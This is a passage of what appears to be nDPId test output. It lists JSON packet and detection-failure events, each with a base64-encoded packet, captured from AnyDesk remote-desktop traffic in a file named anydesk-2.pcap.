NnbUqKEL2M6bCSmqSbBjBzV6SfO5KEFQXxLptrwSgiNOD8Icxph85HE4ED\/eKaDqKwVO\/Dz9Os8t8VvoQ06J0PDTrd\/Y40\/F1QtcU9vgqt+beW1t12yAt4OIk\/h6GnD6xQQ5xZ7hpxCXlBw1HPiUo5UgbPtUcho7FN6rdEkIkwpVRe4DudlJ3SEeyMM8hbb7Q8cMOdA0gbVUlgk4no77tPbC\/TG9ua3\/q66mxirvMW3sX4DoALdQO82Ug+fgjOPHRVdXyNYaiDoS2uIBQRAKys2kBoeGhMthtLKKWjynxvbjCabUa3XbW7Ih+CGUmS6WzL2W951qC4zh2RcLZTvegrqK2l0VktOJO4EdAAgcWJYIYh0XYmAEkXBUWzCBxtYz3QdASgFze24P9yoDsF7URBDFBlBkgrMyrIB8qcmjlo+sk3iybNFKUwsNYO2cQ8EVFReqmO+nEGtEWx5AjbYHV8Qqoe0wdaYi9mb4OxZiC\/kBuAm6fSi27gxJe10HYhN8iL52UcELWXkI\/SavgliM91eIuD65QQjPCPsKjNRNZ5LNeMLh0p+NJsNdhu9pc360jiibFiNj7YioRMZpTRQcVUHTgbfXjtaYk3DzJLjLM2kskzi\/6NzLjH4zP41CHA1lIKPL7yvenJE0kK2rA5IkeKQiMDyR4+RsV6u5E9tHPBcjHQbgYmRG5fNj6hCCZJXR9SZJvZ8++WzVj53IeFqQPR0L+A2FiNVDi8Ucw=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":737,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4050} +05117{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":739,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":914843,"pkt_caplen":3565,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3565,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeSJAAIAGAADAqAG7wKgBstOUG56PHYuBWcQhO1AYIBCExAAAFwMDDbJZ4hNO+msVQGJ31BykMXLcPMCR16GchS9jfrryNNAKKCT6ze9Eh3t96rEAlSI1AGM0KuVCswlVgEWT+qenfNSD9uwVFtNjdM\/QfVbfLjTLk54QccGZiAauhDTeccKpGqestfCp4+KD33zl6IDjO\/+\/qJE1LxnA2k9eMyDNLruIJJpQQwIyju483lU9a1NxJNuB7klvZczp+oE+kK+7O79EEABFzcJJctPcaYDU6lbylmtTaYK6ENanvL2cGTDmM9rCjkgxpCdR\/mJ8Zc9IQXnlRDl6w+wOXIN\/ND86tG9ZjzxkuliLar\/iC0+wl1FTecBSoXUYM9UpctIoK3M\/nDJabFlGRan9gIN1dKcQD1Ndnuz26+XuhyMSYDG0U+Nh6\/ip3jtBRjKHYS3IPJXQgAYbJPM1SPreWNsEJX2R5EWhxUYzvgG+5\/O+bIpxmt4FSmcS4nkTTeOG10wyZifLFC0QH5gO+UtQBK+dP5PTowt8wIZr\/Y6p5tZLbQavufiuV2wmQhHKvow99YRjSIqm1jyY0QNvuJ3l0g9gX3ymnRwhPMAQ4rUvqlW9hb2nosbiufVzU75dLFIXxi28FDCBu3WGqdF+SUMQxTLbAWAiYZiPCNidLsqNH\/A4ExcnNRVqTS8JQqFNvebkDDaVafM2Sb4MKUSlpy6Bz1XX6SBJLR4YRJLA4RUaO3GfqWpR0jeYxP+MOCL2rMsJCbjtDEvXl3VuWVNheTUXjbWoqLYaY5FujKnEJD5eg5yCMbHDX2BY0HmyhXfIQE0vVn7v9zKCiSmDhhnUsl93q0MJf6n64jG1DIlVMZQWhRwgyU3\/WlKy6H4iNA6FCnjUr2d8mXWazoT1hjdAnlehzQydd0y2CaX\/N3ewx5lrvyX9SRuEDzQdb\/Wr3iEM36HU\/kur+hjiBH1FZIgIrvtCmLfxmFtIf9XlVBzRYLJ3\/4PdlIelnaVtyLa2tF18Dg0uoXYT0OBpG9tPuym1R7GPLGXESNKO5AUkRmSQQvpZllIdoL4xe5xuU26pXXLbsuWeP2kbVxv3gVbZVP998ulVy8m+7M6IKaD2ndMu\/QpzNkhodnrW5aUApQSfgtddzr3C+YthN1jrYYggYpbIdEk8jYAIhFVk\/dYBVkB8QRwlUy3TMFzEkWk4PjTG1nQ1hhdKpdT7O9IN\/LJZCq\/w79h\/sdy0WpV\/jMybYFATGVaaaAE\/G9vNHwhdh3LEUdfGLf6dIIbiQRmb7CTz7TbJsshTYqgGzBQi2rvogkX4NCUuW6fsAwt1vdjnPXflXD2LrXGWZPxyltnNPIzDHXTPF+RHN9OU7rXhpsT9jLdFj2XP9ktEcQ0R8B1Kzmxejc7IwJXrUIA6lu2n49Dbl+V82EHgUKCrNWjqlQRuWdEnmj3wZFzsG1wYXh76DxoJZcu02HJ1iRAGZEjNzcMO8S3uTXifoT22QJoA55w+Wa5DrFNxpNUCTizSzDWZFwOqGj8LuNQAw5yXSPsml0s+GcIZigr+iL8Ff71SLfpJi6V07BeHGNNWqgoBo81TkIrZXiG1VeJQmZM7GDlxlSHx+ajC2D9EgpXSRbYMnm0CB0Wd+EDkKQeckmyjgZ9aSPdqz6CCpJ9rusNxQVptyGxtDgZQ2Mw2THBk0BI0BIm5NC5UsOiknHMwoyxhDjk5pN\/sVDcw4LWjAwRoG8wIqIiKrG\/PLxL9Z6DzyLONOinK1c4K71v\/LAp6xcD8ZjIfn27j6SjNdcNlOMIrOtScHIa4Wq29LSdGGNLdr+bmDnFDTruBxbNRmtHwEkQQpaWKZf9JKsmDlmNaLC8S5Q790lqKaXRSQfIN5DQf8j8Vl6hnAjO3xJihlPi4kDeQ7K6W+CyMky5cqy6iIfGMxU4NrO5LlvsjZjHgVdg6bz6UQmi+Fly9PCXK11Dc1k9WDLr4vEWpA12T+xX5lhKTjV76DEfRzrsJ6WdU6R2T4dS3HViRNwD6haRjPf2YBpnsnOwiubAE+eoTX7+Ac31YkAhjzPeta1pBqUlJt3L566UJE\/UJZF1K2Mck3MSvDKkHfP9QHwBl46fV5TdBpqh69qUBf2aJRc+XJICg+DGyx5zfg1cJWhOaia5c+ggULEh47PRboTHNcg9t+xvchsp3h92sA\/qL9cTOXafLG7NGG+hmcJYv1JO7i3FBRe8o7B56RDyQBJAQxCVuawd+19hnMHumjB6N86oWNr6Hhusvalt5BJP\/l0QFX98P4U8NT\/yH0IvJ7lNSS8Lg9gs7jNJUsp12HLmqVZHal3QREaHGE2sNqAdSrK+XXOOqC8MoOiQHQgBQe6\/SlDp1U3v3Z+bGBdR6Wb982Ft+cDarvCaB6hhBkXdRbgk4Zg+MBjWAcMNeqvOa47vQ7GhXhh\/UCiryY2IDoUk5XEgnSZg14eyyQ6FZddjhTYBSX5PK6KVnmqXH7hIytR21EjwpeFUgQVVcpDKyytxjGhTvB6AaTycRLlUfTZbVQ4\/bXE6LSbKe6NtPi4eehHDn4A6GbRgOGoKWRCPZdRmtIuPGPyH9eDqfdMyQAEnc6UTOE+skiMbqEh1+9Vi4bAM2+zRnzgpnPyvNk6zxZjKiZFpdf+pjue\/I0ClMiBR8RX\/v+Kg5eIE\/hT\/JmUc1uuNeLaxt4dOAHgsVZHE6G2OV8LZMXfKrRHAyx1ckM8XbdHjDg2qV8vI7s5Ylk2e\/ph+KEszTq\/Ztus4H64zJdyWvTi92ImvLiA3Sy\/Pe\/YMbyOaoJRh7lhbS31PCLZ7UmAWleNwQzi26mY0Xee98VNXEmSQzPGPpcJyjP0DeI094GKSSRDa0+hfPXY4LOtmU7eLoYHjJM5akwbbY7DbIeriq0cV+zF3hetIc1dYYJ2H\/+rMefguKQ15vlrj3WgmNwWkMLIqR1w80evWrSKQk21oFBrqz5UEucX\/tIgIRGV6KeSsyc0zTxtJdy8nJvhaEaVeWtgl1B5D\/ZZvPuy7hhMRm6dnYzvguKgt4T08nq8s0bQhFc3r9HzuCu7viFppTGjrXE\/wDkSSL7FJLLjEZ8YJc6rnUYRXdmVGds3glTZ+gmHyofVsJpkNMvVmorrnvuyDyDrIl8OY7+HQy+Lqzl2qRZMyJZSy1K2YaiJOEIi1GbZH4zqulbZdeEijRurv6aBek3Z681TiUAy7Sk8gNSw15\/pn8J7hftFrzKcioGxf3qrtPTGjUNfn6irHNTDoD3i0VMqwybObelDvJTDibmrtGb3C9KcqOHYPNhh0BZ4SiUzYu1D5jJHqGiB0bzcx\/1zwNAe5rRx7efaE+i6n2IeQNvf00TNxsJHHoMCrksc1PaMeXMFVt6M3v4GdORPmtJ2PigltMwc6Io6DL7yWo0L4hU4RJil9HvebiV92ixpI50eE1szxmfYbNQEf52QFtTVM7kfuisSUlamnXLT8MJOndk1NYTrO5HlFFPQEWiuPmq9KdjWkzRzgoMZNT1Yp3i9keiZD1voWiGRtDF\/aGAr+dwTUBriILyU6f08BE6QwizNCsPzhBtXg+59lwzw+qMaLEKmZc02TTYbWalzoyX0SdRUaUzaFypKEd+VkI6jmtlPA6UT4tFJlGOO9w5KdQWQIWOkCtSAeqZQ3s88PRh9rbNba9sgoyco\/yJAZO1wclDu0hmkW+gPiYyuPDYKiaurDPCFdPNrCKdRFCTReEwTto39S12DfQQOzrlSoMHIRJ3UP+LBOKVkHn1fD0E8dlKu+YqSt29Cjkx6zf5DONmARhU\/pfs4ddFAX8JDlGVj7SX8sart25aVGlyEx4R92Xs1ZP67+ZSln5\/0WBLP9eQnZU+PgXxE5jpSiGssXS+JmfiglV0k5FFLjiJTQQAZyVZoIUVmeQghet6NfVwxOg2wms+m47NwGptkZFzZZHcIfWpfXzNpRxDZD6Q2g8ybtyEA9uCHaYuLleh+r67+cE2O+phEtrOyoLzskzwzQcPjEDNaN41mVDI8bJzNhlx0OtsdiMojlFWDmve8huCTPpFL7lPPH6iM6RZjo8syBpQT16ckF6Wpiqdc73LYZQ9ECUGvfusDD4aegMg+PM+FOJval7arZ0GrIpMwfgc4VYiQQRWXhiaMIQTAMdOLusRpxFN54yzIucdjXi1FmIWwk4ed+OBjdZZ+B4sKgrP01w6ry0HEOK\/7Day20d\/VnyA7kvJX0xVYMENCeQFoIQGi6BdITaPWXtCHynfYkSn1NTAoX4RiwypaMoatEN2nclnTDIiGRwwpVoUccsTqygkEIG4agR2oqYHKpFoYmjwrJRJuysSpgwCcAXTk3ifeEy7VPGnTLwyUOFiC\/P4oZxl2xqFNhoEAWCtB\/Z\/K1f+MaofHAu6uQEGggfqIIMbNc29R1pkERQLeyMSS5+u1AINYI4x8A7Id6gyU43BtLfz4HmLlwkZ5jq7u848ubHyRzGj35polrzuAexCsN3+XdWnnaH33zP\/FeH7vhY5L6GzSYO9DMR2pZjCsA8WBVkUrtRxaieOmWC0sX2HDiqUOi2CGNF0eYWX1HjdlDXGSwNwRohzxqLhJuRNkGUzoB2RSni4UOhaAVSAbcBlkFIKAPwN35GenWkhF7u5K2qbB0kd9rd9cng5kSee9i0OrZA0PKGFq6iG7X5cA9TXPNOt17vREcA1E36tYt9ENYGSQLtVmvMqQpB8ivQjuYbqingQeuOG1HTeGR5yg=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":739,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3531} +06982{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":745,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":915673,"pkt_caplen":4935,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4935,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeS1AAIAGAADAqAG7wKgBstOUG56PHZk4WcQhO1AYIBCExAAAFwMDEwxZ4hNO+msVQa2VkMJuJThkJcNTkz27FrrqMt6K0II8hFAc7JRUhWKZU+ha6oseOLq\/\/RXv6ASMyu5gau4hl5EKGys+llbpdW2fLoHT8UFic5vQp+zIoRQLp0XlXNRh8omka+xn24cpoPSh07U\/fcZBu953iOfZ\/lPyic\/EEKSuGSJBEo4BGYdLeqit0lI+IIehIsvSU114HbpWgXA8HRkLXy+vjNTMPyedFVcDK2HrUVvjO9HhAy3PpbGSntYFD0sjRKVIA4bSVoOTyd\/gE5B7D79wYS2J92uj6IbbIfe5ACOyZi+L+EzMKIrzUawcf9biHE+phwH8iCgaivnZCMxROF4y99Z9I5oVmOyWI8KQRdUR9opn2OjcktMnVyb1VRBmJXEzhCCHa2CSABGYMBz\/aUukuhgXQ7fF1ss66B8oikYlm5vvCVNCZ8Sj96n4+I3Gyhl2WoZ9cEb\/JsdIQbD2T1dW\/Ak9aYMDWLbw5bWassL9rl6Zh\/Kt3toGz6vjkQy4kiNi1FR4UyadOlGdEPuDkNKsJZS6CWMP1tgrFXYtUcjrRxQveBxTIwSLvmwTaB3+CjaL\/cmNys6gprDbJo+ukqGVr9kNcUMYHBA5wTxIP90PLc3rn9lBddcde6LrecbPPGnf6NaXIUIlv3zAfAVtqen6YM8tFsp8eYIk5xNFtQiaNkEJBKkE0T06frhzJ\/RKGalqbf8usc5g7OtMapbVHhhF+qPzgN+gmJUMUUihtm4zR3wj8Ue9JZDkA+cwYQbusO1So0WtD3CAvov4egWK0zbj+\/3qaJ36FrUFAYifKLyqMy8aSGU3yGviwdOwK3WIeuyVg\/oT5fJTq2ND9IIFUIYHpc+u4i6Wzv9teqaPW8P6\/pQF83Tkpz93W5p2sWnP8TpVjJaYjArv3VDly8m3NW3tkeQA5SxK3szwz4RoIoUGz4iMFWiRVf8F08\/BFCquNR+myWDRg\/QxwzWj6HvwheTo0wjLKWIfso0NAP\/jEkamLaGYoQdQhu+YWkGoPsNmthje9chmQhXu9JnxiKFThzXKb22RK4yw7qusD1GYwl7WiCNW\/A3C0fD02Hk01AIIwzH+L3GtsBE+f24T9MsMZ8XR2FRvkZ4yULqtoXLpJ91VVx5Mz1SpEnvIUSnYR0z\/K0438D7uPOWfWa2+4XfQmXrat5JjER5XcKzbrsPTM\/HIWQqvkSrQI4VqUuf9dolfCQ02ApnvYzD46AymsQDIHHbK8kWGV2viRaUUzqn\/eKG0aYwktbScfW8Q34whpOP+0tjTNAMr5XdG\/GDtFwzJ6Ky1RNez4y1hUXHKgMupv3fKwcDshYyS0G6URwGfHp4sjbFqJSaiLk92IT546YiAZuXgKHh\/9+\/mXZVdwbUPbEOoyzwYh6vfzyc\/FZD1lciJq6QyVI4PfPAcQJ3Rsv56rLfleyqmmG9Hlm\/Rj5EkFgCw2x7q76SNC7luDZxkDm2gWoWh8iLhDX4+18PfSip8MwmCxns+9w2LEjd8F1Faf5Q4dBJSk1MQJZfhvOlf2UxydCRYRUP\/tGmqrrwkL7Z206ar5lItWDuVO4AURxAj8431gzrqOZ\/2OzQFGI70rO9EpaAWRNZQH2WMEcc8TI1hbGjN9kFjynG7VkauZ3NL7zcR3ON5DA1M7SN9e6wn7iqS6+vbD9F76PbbX+XOm2W7JP5wBR1EqOc3nR9sNA8iWnzliCBxYo80pW018idSY+VVxNxTuJHseMqMlS6QvEASsTLP7eJk5m97YsHmNAK56xKmQ9ld5BKcdg8Ca3X5+LkEzj5Mu+1Vo7ZAwNQ+rzCaZBtOrOaZT2fxjdTXrqgCD63Mk0IynIB+X5254QWU+Zu6+J2c0tAn0sStXjfgCVVOWFSPW6e4a65yR5Sb6gNV+ztI+l1XZ7yORPQ5V295FTfa+7C5ZSov\/GcURE8riOeuB\/DbSffh3wps99GyoYjYI4GtsIRXNhf4LtmPqSrMVFAZXyJD6Earg\/1PyGWMW1B+JG3wbvk2xPhMmUmo\/nQ2OzxF5Ofn1isULxUr0GlTAj7ploUmCYBv92SMACYpHUxhw8Qm7SYvBuOP6DVGemJQqPJor+CMdwAqiRI9+rw3mLCtWQTLdE7g1uJZqDsZjiaWEwSyZ1CjSvjYqaZm2ev9u4a\/PjerL9K\/zPRRvgvb3EHtXHtfFG8Z42iiqAifeM3+u4bOikt4FHO\/LXC6BIitIcbM\/GnI4edVGQM4z9Lof+NGeTWFhO1hwOOQFdVRGQVSZ6OK3fJEZQPQbA4JWen9vWmK4sw1Jzigu2y6JKw8zlWzqyWZCqhVskwE2JJKR3sHSB8ckksq3r4SqduW+9Qkxtnpk77FeKMQ64IlwKg7jfYtHCaaLiZBaxlkilwoew+K6DooUGdMQLvtjmLHzKpfFST+OxpWxInyV5H0EQky4Xv9b8mTya8d0RVE2HILAfgrGxMMBmRaE4nzBw9f7D3alW\/NiJMq5PmGfugbNASr+o+vnt3x9Ga3Bb\/5t1I5RJS8CmjQLZorLdtnOiUVmLde8QDgDWE6H89aSV7kBSDuutnX5LirJ9nJdNRx2QcYyEtjuGuKwA7oT\/JL2fhwGUB8dslZnp0iwCxjFtqNIi6ELmHS154IQFZil3J4Dnz7jJgfsadZfRUb55yq6po3LRgS3quY4p8NwAzNFrnjRHLBDb1OwmqPPJV0b75nSK9BXheEQZGmtISzTDHyzIZHSpVIrNZGLgsU6joVQUP4AwISczGpC7LEEf9F7jO7T7f3Q6eOTSD+eIGf3vCwbmqSZp54YXuwI0shyDGndC7sJ1+RabL7\/izxnQE47yLqmZNuW+Jm5yaStWT\/d79SP3EqDocIrlyZho4e6fOBBxL0MZXdiSj2f7XGp9Ap+GE84HaDr9EYbcpGACiSyi6xH8Gvp5WAOcSCXBE266qeXfiJaW+UhofcpBL2AzmdK\/0xI0QoFOfezjV00WzzqMCcBFbzJaEdDm33q2p1hmbeuLUiM301XtGSdQE\/Bn5doCnRDOkpCsSw\/r\/i0VthXtpkCWW6K7AFHFD2J4DLZPFbeoyqA8UbY4YA1Y4U8P7N3\/aEarWLv7flmSH6zUwmuJ\/Vf39thjQL2lOSQp0PIgmpeM74gYyMCIu0fv36KoRW0IP5N20fO3aHhgynhm8m1qg2804wjdqfbl+afs6LhvuM6JEOzwmVh3WKPTVi9oxva3Ufxiom8Ct675f4InOZBmS4zC87M5cvnv6tiJmYeh8Mz8DoUqwUVCRhP4sYP4Nqh1xtnL79g1MoohR5OPzpKukrCf0NrBQkZtHfVGI2VPhjufFU5ojQuDxF1BVcpXXpEsUFC0flUFeOg+qnk6KbBaVIDBHqj2ohBobElOKMk\/yhv63gWY+nUb2H7773cWBf2JBzWaW1ASugl1OLJBzJSWaRfQeYvfTD1wKi4LFdtwlfpp0pTcgPuGMeZDcznXvqCtUYT5IqLqehNkQiUvD\/xGVqzr+bUxxMHKlzyDig0SRmNmLQ5ptk4ifVSTA7GKGiYOF8yFGAHw0sLvbhuZpbmppP5PeKa8ooUl3y8LXSOvyosHzhzF4+MMrxDI5Cscxi72Mks6LatafpTEui+TJASRXL1KF2m9hZLHZn9wxSmNh4ADM\/I\/amAVjgUSVw\/tnzdUD9NGqYBUzg0c81tSgK4WZ2bZoRmXsJQyl1vLzkVYMHhYtWa5GVU3XJGAoX7SXRBVANYic9gIykxE0uyeE1dvJBvuugwNQcyA7RsDJ3XHYNTU28Vwmi+rKKaOacZOZzzbnr5Uc9bpyFQFLeMhYXEXtXmqYCuqve2d0d2G0PYjEjp6qoO0TzWfIGGS91YT7ekU8\/M4ePCutbiEXT3Y\/p\/PzEySDE2rfWgrPxSKOzE64To74YX7YINAEXc\/uciZlSmih9Nukqskog800r7hMuMG\/f3QoJ6w8Bguhr5Y4H1fk7N755wT+bln3wzFs0mZ32YGcPtL8axlCXe\/9S2ZKO\/GtRTx9n75OFktC6Vcs4At4WM8fcFZAnUVfmD8897WupcTb8s5+z3O5irVBhrqp4ANigJ0rC4IPqKlGL3A6shrGYLPSAFTtzJDs22ZRBvhySmCIdLPBpWpNlDuToKXPWTHT+\/j6QI0se7sv8Aa9aV0Mu\/FoRnxtZtxyduBgMR4\/NDJ8u4K13jk6vIhIrwtVtXPk7xYRU2mP3nBSbmlOavajRKnClERUt2V3fyIbUIRW\/uGBhuJLL6tSxfq4o6ZJGN0heYH4K5E9EdnSXea5UE+gg8k5YwgUKTN4Zzw+9iO4gAVTZ1Vkaxl7NDCKwB4q2KzOZ\/JGb6yjrhucln6M1egX6k8SH2Xuy4oktPVuPRsRcul+jtbnTnPfW65p0SZ3LGp25mXeefNj6CkB\/x6CmpAdCVkIOzs+0TcdeMA62k6gk3hKnN8WJnqOKXfZE1WfcfFvZyWynm3w9O4qtzvBvzXm9Nto9zvLV2vBLBR7C49rKzvQlrFXg1+5\/fjMw+55zN9w8iLBnaKvbeVO+4E6DsHgLgvVxic+sDTGeKQyCm8tpTxXm5rEgDXKXOPZ\/DfNzCtFQ4HTUPrFaaicQAXxPbG\/Rhs5HrPiy5ICvCXAGF7K6hrkwfzT8B4fK5Q1fwp\/fyFvH4Xtwe0ggQVCkyWRuuDnYs08ID\/foyrp5Io28b+2KENY4CmuTJCTP+nXZhtrePXyGJT1ZHIbQ76q\/c2WmJ1MlkuehARujXH0bxZmBS56La8JMwZEva2rLsoTuxKHlr1uooMTEVIuJbUtHlvlBTJVUS4NFeA8wpiSwB8jynZS0A9TE00EQpR+qaB1yQRdfIwgViMb2PWomJ8\/brC2YdWS3\/CM5oA6q81I8VsYakPQyYOl2HGZQjuqW8GclUCtvZDN8c69wOjjT0gQXAPTnxJV+lUxT2NF\/CsqwA7QPsBDVTeR+Q+hJcR7coX3F7oWFnPRsNCjX+Nv5VuLRJJL+d1BwNuRgD8E0ztnHvnD8RNSJSS5xpuAsajk3ekRSt3Mzs78q\/WboaN8n4dpf7FG73x2mmbdx1zPmoibFuak3fA3PD1s1\/SrpCu\/fom3PMFvuD2cc6aJVxIeXcnZ8iKMzj1z7hMXhob46bQlVjIbNd9bQ7K+frnnySGtt5KwFCW8LXKBeLea6ouZ4CO8EIttdT4f0CkxznW9\/Unl7uvZcaBOHENe663B7LlopKiZh7Xkh23QCwn2jLfgfvcijRcZikKkM71inGO6lRt6Mtk09ig6UtV+bGpKX38Hr6CPQJ3ZJcWMBL4Jh9RBeHQsCHXUxB54vHUoHgmYuUp2yWIh9Ss4yC4q23z9uJnMZOpnRmBOgpdrkBusm6SLBhTgftIKCkIulCmmZSKhsRb6MaW4cKhxVXa5ld6mAMoO+onhZF8DCWZpmthcDCCgdp3Gbo+RxDwwXRTHcae0nT4hHelgJmtlyOK9EoRLEAt8jURvPpQNt55uCKbYV+PJsTPInCO4pUHzHYouUynBbQbYs\/yGraGoHn78mxpNWcNl9y\/En2d5aGFtfwJ0Ep\/YOfZ9Dq20t1Fb160dlx5Dd6h3ufO6nhdkANU05rF3+4LPjJYfpK6zZHj1KA86aHBfQHFw+yolmUoHujT1qbCSzrdy6fCgnQutCafS3G6O7xLJvt5E2\/92zw09nzeq0nWPzJn0SvrennWxm7nDpiMgFZRb+Z\/bB1lufr0R+ef+7h+B2kYaaRz1VRhXGXHdYGt4zu7WgGS6\/p1MFIPeI1Hwp\/u4cZTU4t54krskQRCNOHAppM7Us2Tv+oR4N\/QUlu3QRGoWiEfnIiFf9CjAAHy\/OLwj855RgqjWanYUXmPYbWBcWnOOvGHAy4KZCyqGoqhKXbz9OAuX83PSFqcKX\/N7S\/NGOmxuwMjSHOpdNp03ohgoeQpsoIg9fQ5ab88BPZWfgTYkEDVpxR6BQDUKIRu1dPD+dokhMSzMyNUCxM8pu1FUgaAxzd+hWJhV5NBSZ05fh4qxM7Kadu2XkZvn\/8W6K2AFvqx34UOjFEGoLyc3mrT5oeb0JpKIbDrK4xbqd40\/JfvvkF4f9xe8hIQZ\/TQkD4ncR0ufofnwURFCZovQ1nyUYUKCygDLaouMngZFfPcjV6zyo9k8JL1yEBPvZdgY\/dxS4RzxcIw0rT+SxqKs5WogVZiXQpi3HvR5F3tNE53XgiDeYP5AAFExBPFT9afZQWIKupAEmAU2dCuEgY5cKvOASwhHu024YyyO75kj50TfO2BjAn9QTGqFYWSyXawIGCarKtULtepzEi2X+ir5qp9AAS1usHh\/CaEPt1SGF04TNlCMg3PA8YTI2vkHatERRRbVBK6NFfz13jZRWdlUVGYZjOr9fh3IfNN+luWti\/hjFh9UVyFTkxVrVDLqJsnSYp8BAH4H7RRER3\/mc8Yc9PTmqwGiuk4CECuNYkf0S2kgvrfLHYdKKmvxLU2E8cPkArFkDZYZ3\/PGVIXNghZ1PzGAiXGmj6QOEirZt5js0"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":745,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4901} +04481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":755,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":945112,"pkt_caplen":3075,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3075,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeUZAAIAGAADAqAG7wKgBstOUG56PHbVwWcQhyFAYIA+ExAAAFwMDC8hZ4hNO+msVRKmKy3u65hdsiEwl\/wrFeWLS76Ix2YGNx0s\/typxpNHJqkGkizpJC5FfGVWaiJT4779X\/y4vlXoVHdO+jUj6rWBkdndwjEIDZVcySNcdHPdLOtSDJXLOzcKbOtedSHi\/uhO85GGDptlMNm\/kPs52VRk4pVrkTQ5KF23KtO0CQ2kI6w3GLnNf\/0j+jaaykjOP6Tn4CBa4AT1lig0KWUG8Fh4kKZUJVpJyOqIWtmS5LP3qaul63O4exv\/AEkY5bSckoIKnh0XKmQCtlhjZwQ7oFBpCqFRunNL\/Lip0h02PVev13gHoi0WyMHdT9H7fM0XoV67Jimjb7rlJ5bL7KLMtM3kfgBR9V+FNIXTI+5lna0iM9FQ3xr5pgTNF2+T+iFiS+ynExbOrZUFDuEldDl1dzsdGHOC\/rvtYdE\/ja30G9uDiuc+rK\/z8ou0cf177zzefovGkSgDfNI\/rnu\/HEB\/Ar89\/kJp\/zpv3\/psbBx8RxJwkUck\/\/8hwDW8\/UBniZAKPiM4PJEh1czlmpORm7EjKxZX7k9riJBYusUlEYyuUEVvpv\/YXFcM5mKEIwo3Ch6\/cO98aekiFoD5IV5ms4YMXZ+ZoQ\/WvbuJ0IncZRQscJt\/D2kZf47fbpoKNOPNDEvH7k1RTIljrlAFGRSxrjq6qXgdUGT6vfkhidLjNcjL0hKGQeasI7uRda5uXjNZgQSpWPX0nFFZVZSAI0fS6yb5QUvnr0HICJE22pIxI7rYOyUhXoVaN+es6SLdwjVZeHhUys67Hb9rpP62WDvMFulnSGzoZdI\/Bb5QdM98qczlWuC7wSmqBKNo\/2\/Xl1a8kYcuYcE4ahSJd9ixMx589\/5fcuyNKJD\/IcrEGGr9+lP6mC0O0XSPRF+3QbHr7aZkcQ4rECKwcvWoW1iX4vxEReCTWtMhxpFF9DdZ5lk9ggstO2p\/b7aTDamh98r5htypxc5Exud9HSgcXdYYxFwvTbYBFOvAmL1UQSgy1VVdQpGJO5yXe0j\/XkWqBS0ym369fthUO5MRQDLw\/dQumikNme3bhQX\/\/nMK66UGouzZheDsI0YWpHBOeKBTHi9XYa1Lh2LWECOxeHodX+1bsBMwpmxNWfzLk2awLodivRe5tQE3ctq9BpOaewRXYlIc6cwPTBeWRrcUrUi2W+xBhcK7+0xEKmFHei44t7kMJcBfpG7vewOyjv+TuuwY+2JL8yCtYM2yMOTaGHlEDTSC3Zp+joVX\/fLoY6eXc2SUNv0L2WQVMpGJgwLMfKYv2WQZ8EPviw+VGna3\/iEmwPXwnzF1HTfH3GdR9ZLgcIXGuiXfogAUJsZLaREEC0S6PV\/AonBOz+o97tUAmKQg8QXsa1K3AQ4Mfn1zVLgG7U62z7jC5FDq\/RYQSE86ejMe9I\/Wl5Q1w8HVaoy7El31+owzVyjZh8Ex4b5tqzjR6SK4zdDHqYX1ZkBOE5JUzMJ3JTWlVRe2xgRQhE5wGGfpBJ3RCs8SLNLJaa4IZ3sNV5ZMW5ZSPKoGQXvkou6zt1yJY3Eaut12WozZj0gTCWlO6aXzTOzkylXDglUtLydEol1z+TDb8hroXOMm0QG39gWkUJo6RMRKUHxsDg+HAkKpVkXuHTExqUorUTHC7InNmN\/l6NmPeX0a8ioRIv+oVFu24OmP86PxHdsRZcra3MRYPBkizBaryTiZ1gsJM3mmoJVaDpKRNVT6Ohvg9JvYIJ7LaKhsOXwKvu8kqRBodHHdCBNCZ307LTtdbnwQqs7JHiIBaMSwHpNuwPPpHZoK4cofcnfBFT\/4TziIX21uiugJCZehKUZj3CXrgZ1u1Yts7q7oeieshjzzWADsHKGVqQ4NO0hweOvyD5BjoNU3zRQJrJcd45UjWUzJTDykO82zVSpTt\/lyFp\/xpofCOG8GSxstmqvimUbMFS2osZ\/n98T9W\/3AnmirvNX63Vbs00y4W9H9qWvS8tlFSiQ3YMDJMApPO37B4K3saB9NjGIUVI27lNXt+J1RzHjhOzTADOHLzXLe+WfyoqlgC6shTtV5D1AaIXnCuILUPzcUgFtlVEm5LUpiblK8kOkHqRBuYT8pVIX0HMlXWFHqVlggCzDrwBUcXGVHBc1pmxBGYc\/P8y1GH3OM\/DDOoBFcphEN1mc1oR9ed\/M8pptOD+Yk0DUdHWHKCYqdotblz2oUn5BJLmMHbr8LRgdsvjGwnH2yAUgNLY5w0+tLRETzvHWYKbyY\/7IpLqDapIWnTPMBbmdcTSHBrVtj9tYo3084Yt9zFyWWEB1WlQYlc5IQzwsEWQ10hbdZzCFogEqABvRMdxLV1BEWa0k6DZbj8Ad61SGw2oQxUJkcFycKHNAJCdamW3Guuo84SAeLhVG\/Y22qM53oR8qeKwthAmpXM89WApEaHrq2bzFFQMDsf3zkHAcoHvH8xdxYBTW88HpqXkcjBCaKTwBdUYX76Yan0nlrWlei2UczqcxuM+J\/AaHGEECHPr2ZT5R9\/1uLXg9